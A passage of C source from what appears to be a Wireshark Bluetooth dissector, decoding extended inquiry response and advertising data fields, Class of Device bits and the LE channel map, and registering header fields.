proto_item_append_text(sub_item, " (%s)", val_to_str_ext_const(tvb_get_ntohs(tvb, offset + 2), &bt_sig_uuid_vals_ext, "Unknown"));
} else {
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_custom_uuid, tvb, offset, 4, ENC_NA);
i_uuid = 0;
while (custom_uuid[i_uuid].name) {
if (custom_uuid[i_uuid].size != 4) {
i_uuid += 1;
continue;
}
if (tvb_memeql(tvb, offset, custom_uuid[i_uuid].uuid, 4) == 0) {
proto_item_append_text(sub_item, " (%s)", custom_uuid[i_uuid].name);
break;
}
i_uuid += 1;
}
}
offset += 4;
}
break;
case 0x06: /* 128-bit Service Class UUIDs (incomplete) */
case 0x07: /* 128-bit Service Class UUIDs */
case 0x15: /* List of 128-bit Service Solicitation UUIDs */
case 0x21: /* Service Data - 128 bit UUID */
end_offset = offset + length;
while (offset < end_offset) {
if (tvb_get_ntohs(tvb, offset) == 0x0000 &&
tvb_get_ntohl(tvb, offset + 4) == 0x1000 &&
tvb_get_ntoh64(tvb, offset + 8) == G_GUINT64_CONSTANT(0x800000805F9B34FB)) {
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_uuid_128, tvb, offset, 16, ENC_NA);
proto_item_append_text(sub_item, " (%s)", val_to_str_ext_const(tvb_get_ntohs(tvb, offset + 2), &bt_sig_uuid_vals_ext, "Unknown"));
} else {
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_custom_uuid, tvb, offset, 16, ENC_NA);
i_uuid = 0;
while (custom_uuid[i_uuid].name) {
if (custom_uuid[i_uuid].size != 16) {
i_uuid += 1;
continue;
}
if (tvb_memeql(tvb, offset, custom_uuid[i_uuid].uuid, 16) == 0) {
proto_item_append_text(sub_item, " (%s)", custom_uuid[i_uuid].name);
break;
}
i_uuid += 1;
}
}
offset += 16;
}
break;
case 0x08: /* Device Name (shortened) */
case 0x09: /* Device Name */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_name, tvb, offset, length, ENC_ASCII | ENC_NA);
proto_item_append_text(entry_item, ": %s", tvb_format_text(tvb,offset, length));
offset += length;
break;
case 0x10: /* Device ID / Security Manager TK Value */
if (length == 16) { /* little heuristic for recognize Security Manager TK Value */
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_data, tvb, offset, 16, ENC_NA);
expert_add_info(pinfo, sub_item, &ei_eir_ad_undecoded);
} else if (length == 8) { /* DID */
guint16 vendor_id_source;
guint16 vendor_id;
guint16 product_id;
const gchar *str_val;
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_did_vendor_id_source, tvb, offset, 2, ENC_LITTLE_ENDIAN);
vendor_id_source = tvb_get_letohs(tvb, offset);
offset += 2;
if (vendor_id_source == DID_VENDOR_ID_SOURCE_BLUETOOTH_SIG) {
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_did_vendor_id_bluetooth_sig, tvb, offset, 2, ENC_LITTLE_ENDIAN);
} else if (vendor_id_source == DID_VENDOR_ID_SOURCE_USB_FORUM) {
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_did_vendor_id_usb_forum, tvb, offset, 2, ENC_LITTLE_ENDIAN);
} else {
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_did_vendor_id, tvb, offset, 2, ENC_LITTLE_ENDIAN);
}
vendor_id = tvb_get_letohs(tvb, offset);
offset += 2;
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_did_product_id, tvb, offset, 2, ENC_LITTLE_ENDIAN);
product_id = tvb_get_letohs(tvb, offset);
offset += 2;
if (vendor_id_source == DID_VENDOR_ID_SOURCE_USB_FORUM) {
str_val = val_to_str_ext_const(vendor_id << 16 | product_id, &ext_usb_products_vals, "Unknown");
proto_item_append_text(sub_item, " (%s)", str_val);
}
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_did_version, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset += 2;
} else {
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_data, tvb, offset, length, ENC_NA);
expert_add_info(pinfo, sub_item, &ei_command_unknown);
}
break;
case 0x0A: /* Tx Power Level */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_tx_power, tvb, offset, 1, ENC_NA);
offset += 1;
break;
case 0x0B: /* OOB Optional Data Length */
/* From CSS v3.pdf */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_ssp_oob_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset += 2;
break;
case 0x0C: /* BD_ADDR */
/* From CSS v3.pdf */
offset = dissect_bd_addr(hf_btcommon_eir_ad_bd_addr, tree, tvb, offset);
break;
case 0x0D: /* Class Of Device */
call_dissector(btcommon_cod_handle, tvb_new_subset_length(tvb, offset, 3), pinfo, entry_tree);
offset += 3;
break;
case 0x0E: /* Simple Pairing Hash C */
case 0x1D: /* Simple Pairing Hash C-256 */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_hash_c, tvb, offset, 16, ENC_NA);
offset += 16;
break;
case 0x0F: /* Simple Pairing Randomizer R */
case 0x1E: /* Simple Pairing Randomizer R-256 */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_randomizer_r, tvb, offset, 16, ENC_NA);
offset += 16;
break;
case 0x11: /* Security Manager Out of Band Flags */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_oob_flags_reserved, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_oob_flags_address_type, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_oob_flags_le_bredr_support, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_oob_flags_le_supported_host, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_oob_flags_data_present, tvb, offset, 1, ENC_NA);
offset += 1;
break;
case 0x12: /* Slave Connection Interval Range */
sub_item = proto_tree_add_item(tree, hf_btcommon_eir_ad_connection_interval_min, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(sub_item, " (%g msec)", tvb_get_letohs(tvb, offset) * 1.25);
offset += 2;
sub_item = proto_tree_add_item(tree, hf_btcommon_eir_ad_connection_interval_max, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(sub_item, " (%g msec)", tvb_get_letohs(tvb, offset) * 1.25);
offset += 2;
proto_item_append_text(entry_item, ": %g - %g msec", tvb_get_letohs(tvb, offset - 4) * 1.25, tvb_get_letohs(tvb, offset - 2) * 1.25);
break;
case 0x17: /* Public Target Address */
case 0x18: /* Random Target Address */
end_offset = offset + length;
while (offset < end_offset) {
offset = dissect_bd_addr(hf_btcommon_eir_ad_bd_addr, entry_tree, tvb, offset);
}
break;
case 0x19: /* Appearance */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_appearance, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(entry_item,": %s", val_to_str(tvb_get_letohs(tvb, offset), bthci_cmd_appearance_vals, "Unknown"));
offset += 2;
break;
case 0x1A: /* Advertising Interval */
/* From CSS v3.pdf */
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_advertising_interval, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(sub_item, " (%g msec)", tvb_get_letohs(tvb, offset) * 0.625);
offset += 2;
break;
case 0x1B: /* LE Bluetooth Device Address */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_le_bd_addr_reserved, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_le_bd_addr_type, tvb, offset, 1, ENC_NA);
offset += 1;
offset = dissect_bd_addr(hf_btcommon_eir_ad_bd_addr, entry_tree, tvb, offset);
break;
case 0x1C: /* LE Role */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_le_role, tvb, offset, 1, ENC_NA);
offset += 1;
break;
case 0x3D: /* 3D Information Data */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_factory_test_mode, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_reserved, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_send_battery_level_report_on_startup, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_battery_level_reporting, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_association_notification, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_path_loss_threshold, tvb, offset, 1, ENC_NA);
offset += 1;
break;
case 0xFF: /* Manufacturer Specific */ {
guint16 company_id;
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_company_id, tvb, offset, 2, ENC_LITTLE_ENDIAN);
company_id = tvb_get_letohs(tvb, offset);
offset += 2;
length -= 2;
if (company_id == 0x000F && tvb_get_guint8(tvb, offset) == 0) { /* 3DS profile Legacy Devices */
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_fixed, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_test_mode, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_fixed_6, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_ignored_5, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_fixed_4, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_ignored_1_3, tvb, offset, 1, ENC_NA);
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_3d_capable_tv, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_3ds_legacy_path_loss_threshold, tvb, offset, 1, ENC_NA);
offset += 1;
} else {
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_data, tvb, offset, length, ENC_NA);
expert_add_info(pinfo, sub_item, &ei_eir_ad_undecoded);
offset += length;
}
}
break;
default:
sub_item = proto_tree_add_item(entry_tree, hf_btcommon_eir_ad_data, tvb, offset, length, ENC_NA);
expert_add_info(pinfo, sub_item, &ei_eir_ad_unknown);
offset += length;
}
}
if (tvb_length_remaining(tvb, offset) > 0) {
proto_tree_add_item(tree, hf_btcommon_eir_ad_unused, tvb, offset, -1, ENC_NA);
offset = tvb_length(tvb);
}
return offset + data_size;
}
static gint
dissect_btcommon_cod(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree, void *data _U_)
{
proto_item *cod_item;
proto_item *cod_tree;
guint16 major_service_classes;
guint8 major_device_class;
guint8 minor_device_class;
const gchar *minor_device_class_name;
gint offset = 0;
cod_item = proto_tree_add_item(tree, hf_btcommon_cod_class_of_device, tvb, offset, 3, ENC_LITTLE_ENDIAN);
cod_tree = proto_item_add_subtree(cod_item, ett_cod);
major_device_class = tvb_get_guint8(tvb, offset + 1) & 0x1F;
minor_device_class = tvb_get_guint8(tvb, offset) >> 2;
switch(major_device_class) {
case 0x01: /* Computer */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_computer, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_computer_vals_ext, "Unknown");
break;
case 0x02: /* Phone */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_phone, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_phone_vals_ext, "Unknown");
break;
case 0x03: /* LAN/Network Access Point */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_lan_net_load_factor, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_lan_net_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_lan_net_load_factor_vals_ext, "Unknown");
break;
case 0x04: /* Audio/Video */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_audio_video, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_audio_video_vals_ext, "Unknown");
break;
case 0x05: /* Peripheral */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_peripheral_class, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_peripheral_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_peripheral_class_vals_ext, "Unknown");
break;
case 0x06: /* Imaging */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_imaging_class_printer, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_imaging_class_scanner, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_imaging_class_camera, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_imaging_class_display, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_imaging_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_imaging_type_vals_ext, "Unknown");
break;
case 0x07: /* Wearable */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_wearable, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_wearable_vals_ext, "Unknown");
break;
case 0x08: /* Toy */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_toy, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_toy_vals_ext, "Unknown");
break;
case 0x09: /* Health */
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_health, tvb, offset, 1, ENC_LITTLE_ENDIAN);
minor_device_class_name = val_to_str_ext_const(minor_device_class, &bthci_cmd_cod_minor_device_class_health_vals_ext, "Unknown");
break;
default:
minor_device_class_name = "Unknown";
proto_tree_add_item(cod_tree, hf_btcommon_cod_minor_device_class_unknown, tvb, offset, 1, ENC_LITTLE_ENDIAN);
}
proto_tree_add_item(cod_tree, hf_btcommon_cod_format_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset += 1;
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_information, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_telephony, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_audio, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_object_transfer, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_capturing, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_rendering, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_networking, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_positioning, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_reserved, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_service_class_limited_discoverable_mode, tvb, offset, 2, ENC_LITTLE_ENDIAN);
major_service_classes = tvb_get_letohs(tvb, offset) >> 5;
proto_tree_add_item(cod_tree, hf_btcommon_cod_major_device_class, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset += 2;
proto_item_append_text(cod_item, " (%s:%s - services:",
val_to_str_ext_const(major_device_class, &bthci_cmd_cod_major_device_class_vals_ext, "Unknown"),
minor_device_class_name);
if (major_service_classes & 0x001) proto_item_append_text(cod_item, " LimitedDiscoverableMode");
if (major_service_classes & 0x008) proto_item_append_text(cod_item, " Positioning");
if (major_service_classes & 0x010) proto_item_append_text(cod_item, " Networking");
if (major_service_classes & 0x020) proto_item_append_text(cod_item, " Rendering");
if (major_service_classes & 0x040) proto_item_append_text(cod_item, " Capturing");
if (major_service_classes & 0x080) proto_item_append_text(cod_item, " ObjectTransfer");
if (major_service_classes & 0x100) proto_item_append_text(cod_item, " Audio");
if (major_service_classes & 0x200) proto_item_append_text(cod_item, " Telephony");
if (major_service_classes & 0x400) proto_item_append_text(cod_item, " Information");
proto_item_append_text(cod_item, ")");
return offset;
}
static gint
dissect_btcommon_ad(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
proto_item *main_item;
proto_tree *main_tree;
main_item = proto_tree_add_item(tree, hf_btcommon_eir_ad_advertising_data, tvb, 0, -1, ENC_NA);
main_tree = proto_item_add_subtree(main_item, ett_eir_ad);
return dissect_eir_ad_data(tvb, pinfo, main_tree);
}
static gint
dissect_btcommon_eir(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
proto_item *main_item;
proto_tree *main_tree;
main_item = proto_tree_add_item(tree, hf_btcommon_eir_ad_extended_inquiry_response_data, tvb, 0, -1, ENC_NA);
main_tree = proto_item_add_subtree(main_item, ett_eir_ad);
return dissect_eir_ad_data(tvb, pinfo, main_tree);
}
static gint
dissect_btcommon_le_channel_map(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree, void *data _U_)
{
gint offset = 0;
proto_tree_add_item(tree, hf_btcommon_le_channel_map_0, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_1, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_2, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_3, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_4, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_5, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_6, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_7, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(tree, hf_btcommon_le_channel_map_8, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_9, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_10, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_11, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_12, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_13, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_14, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_15, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(tree, hf_btcommon_le_channel_map_16, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_17, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_18, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_19, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_20, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_21, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_22, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_23, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(tree, hf_btcommon_le_channel_map_24, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_25, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_26, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_27, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_28, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_29, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_30, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_31, tvb, offset, 1, ENC_NA);
offset += 1;
proto_tree_add_item(tree, hf_btcommon_le_channel_map_32, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_33, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_34, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_35, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_36, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_37, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_38, tvb, offset, 1, ENC_NA);
proto_tree_add_item(tree, hf_btcommon_le_channel_map_39, tvb, offset, 1, ENC_NA);
offset += 1;
return offset;
}
void
proto_register_btcommon(void)
{
expert_module_t *expert_module;
static hf_register_info hf[] = {
{ &hf_btcommon_eir_ad_extended_inquiry_response_data,
{ "Extended Inquiry Response Data", "btcommon.eir_ad.extended_inquiry_response_data",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_advertising_data,
{ "Advertising Data", "btcommon.eir_ad.advertising_data",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_entry,
{ "Entry", "btcommon.eir_ad.entry",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_unused,
{ "Unused", "btcommon.eir_ad.unused",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_data,
{"Data", "btcommon.eir_ad.entry.data",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btcommon_eir_ad_length,
{ "Length", "btcommon.eir_ad.entry.length",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_type,
{ "Type", "btcommon.eir_ad.entry.type",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_eir_data_type_vals_ext, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_company_id,
{ "Company ID", "btcommon.eir_ad.entry.company_id",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_evt_comp_id_ext, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_flags_reserved,
{ "Reserved", "btcommon.eir_ad.entry.flags.reserved",
FT_UINT8, BASE_HEX, NULL, 0xE0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_flags_le_bredr_support_host,
{ "Simultaneous LE and BR/EDR to Same Device Capable (Host)", "btcommon.eir_ad.entry.flags.le_bredr_support_host",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x10,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_flags_le_bredr_support_controller,
{ "Simultaneous LE and BR/EDR to Same Device Capable (Controller)", "btcommon.eir_ad.entry.flags.le_bredr_support_controller",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x08,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_flags_bredr_not_support,
{ "BR/EDR Not Supported", "btcommon.eir_ad.entry.flags.bredr_not_supported",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x04,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_flags_le_general_discoverable_mode,
{ "LE General Discoverable Mode", "btcommon.eir_ad.entry.flags.le_general_discoverable_mode",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x02,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_flags_le_limited_discoverable_mode,
{ "LE Limited Discoverable Mode", "btcommon.eir_ad.entry.flags.le_limited_discoverable_mode",
FT_UINT8, BASE_HEX, VALS(cmd_boolean), 0x01,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_uuid_16,
{ "UUID 16", "btcommon.eir_ad.entry.uuid_16",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bt_sig_uuid_vals_ext, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_uuid_32,
{ "UUID 32", "btcommon.eir_ad.entry.uuid_32",
FT_UINT32, BASE_HEX | BASE_EXT_STRING, &bt_sig_uuid_vals_ext, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_uuid_128,
{ "UUID 128", "btcommon.eir_ad.entry.uuid_128",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_custom_uuid,
{ "Custom UUID", "btcommon.eir_ad.entry.custom_uuid",
FT_BYTES, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_name,
{ "Device Name", "btcommon.eir_ad.entry.device_name",
FT_STRING, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_tx_power,
{"Power Level (dBm)", "btcommon.eir_ad.entry.power_level",
FT_INT8, BASE_DEC, NULL, 0x0,
NULL, HFILL}
},
{ &hf_btcommon_eir_ad_ssp_oob_length,
{ "SSP OOB Length", "btcommon.eir_ad.entry.ssp_oob_length",
FT_UINT16, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_bd_addr,
{ "BD_ADDR", "btcommon.eir_ad.entry.bd_addr",
FT_ETHER, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_le_bd_addr_reserved,
{ "Reserved", "btcommon.eir_ad.entry.le_bd_addr.reserved",
FT_BOOLEAN, 8, NULL, 0xFE,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_le_bd_addr_type,
{ "Type", "btcommon.eir_ad.entry.le_bd_addr.type",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_le_role,
{ "Type", "btcommon.eir_ad.entry.le_role",
FT_UINT8, BASE_HEX | BASE_EXT_STRING, &le_role_vals_ext, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_did_vendor_id_source,
{ "Vendor ID Source", "btcommon.eir_ad.entry.did.vendor_id_source",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &did_vendor_id_source_vals_ext, 0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_did_vendor_id,
{ "Vendor ID", "btcommon.eir_ad.entry.did.vendor_id",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_did_vendor_id_bluetooth_sig,
{ "Vendor ID", "btcommon.eir_ad.entry.did.vendor_id",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_evt_comp_id_ext, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_did_vendor_id_usb_forum,
{ "Vendor ID", "btcommon.eir_ad.entry.did.vendor_id",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &ext_usb_vendors_vals, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_did_product_id,
{ "Product ID", "btcommon.eir_ad.entry.did.product_id",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_did_version,
{ "Version", "btcommon.eir_ad.entry.did.version",
FT_UINT16, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_association_notification,
{ "3DS Association Notification", "btcommon.eir_ad.entry.3ds.association_notification",
FT_BOOLEAN, 8, NULL, 0x01,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_battery_level_reporting,
{ "3DS Battery Level Reporting", "btcommon.eir_ad.entry.3ds.battery_level_reporting",
FT_BOOLEAN, 8, NULL, 0x02,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_send_battery_level_report_on_startup,
{ "3DS Send Battery Level Report on Startup", "btcommon.eir_ad.entry.3ds.send_battery_level_report_on_startup",
FT_BOOLEAN, 8, NULL, 0x04,
NULL, HFILL }
},
{ &hf_btcommon_eir_ad_3ds_reserved,
{ "Reserved", "btcommon.eir_ad.entry.3ds.reserved",
FT_BOOLEAN, 8, NULL, 0x78,
NULL, HFILL }
},
